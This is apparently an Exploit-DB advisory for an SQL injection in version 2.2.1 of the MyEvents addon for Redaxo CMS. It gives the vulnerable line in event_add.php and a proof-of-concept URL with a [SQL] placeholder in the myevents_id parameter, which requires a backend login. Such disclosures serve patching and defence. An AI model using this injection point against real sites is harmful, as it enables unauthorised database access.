Redaxo CMS Addon MyEvents 2.2.1 - SQL Injection

Author: h0n1gsp3cht
type: webapps
platform: php
port: 80.0
date_added: 2018-03-07 
date_updated: 2018-03-07 
verified: 0 
codes:  
tags: SQL Injection (SQLi)
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.commyevents-12b9eacfa423bcc0a5dc1a3445e641460c79203a.zip

# Exploit Title: Redaxo CMS Addon MyEvents SQL Injection [ Backend ]
# Date: 01.03.2018
# Exploit Author: h0n1gsp3cht
# Vendor Homepage: http://www.github.com/wende60/myevents
# Version: 2.2.1 (Last Version)
# Tested on: LinuxMint
# More: Login Required
# GET

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Vuln Code [+] redaxo/src/addons/myevents/pages/event_add.php
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$myevents_id            =  strip_tags(rex_request('myevents_id', 'string'));

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POC
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http://127.0.0.1/redaxo/index.php?page=myevents/event_add&myevents_id=[SQL]